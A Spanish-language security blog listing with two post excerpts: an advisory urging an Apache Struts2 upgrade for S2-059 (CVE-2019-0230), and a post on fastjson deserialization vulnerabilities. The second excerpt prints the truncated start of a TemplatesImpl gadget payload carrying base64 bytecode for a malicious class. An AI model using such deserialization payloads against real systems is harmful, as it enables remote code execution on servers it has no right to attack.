Actualización de Apache Struts2 a versión 2.5.22 para mitigar vulnerabilidad S2-059
La vulnerabilidad de ejecución remota de código S2-059 (CVE-2019-0230) afecta a Apache Struts2 debido a fallas en el manejo de expresiones OGNL en ciertas etiquetas. Las versiones afectadas oscilan entre la 2.0.0 y la 2.5.20. Para cerrar esta brecha de seguridad crítica, es imperativo actualizar el framework a la versión 2.5.22 o superior.
1. G ...
Publicado el 9-6 15:10
Vulnerabilidades de deserialización en fastjson por versión
El payload codificado en base64 corresponde a una clase maliciosa generada previamente. Debe ajustarse según el contexto de uso.
{"@type":"com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl","_bytecodes":["yv66vgAAADIANAoABwAlCgAmACcIACgKACYAKQcAKgoABQAlBwArAQAGPGluaXQ+AQADKClWAQAEQ29kZQEAD0xpbmVOdW1iZ ...
Publicado el 6-30 00:54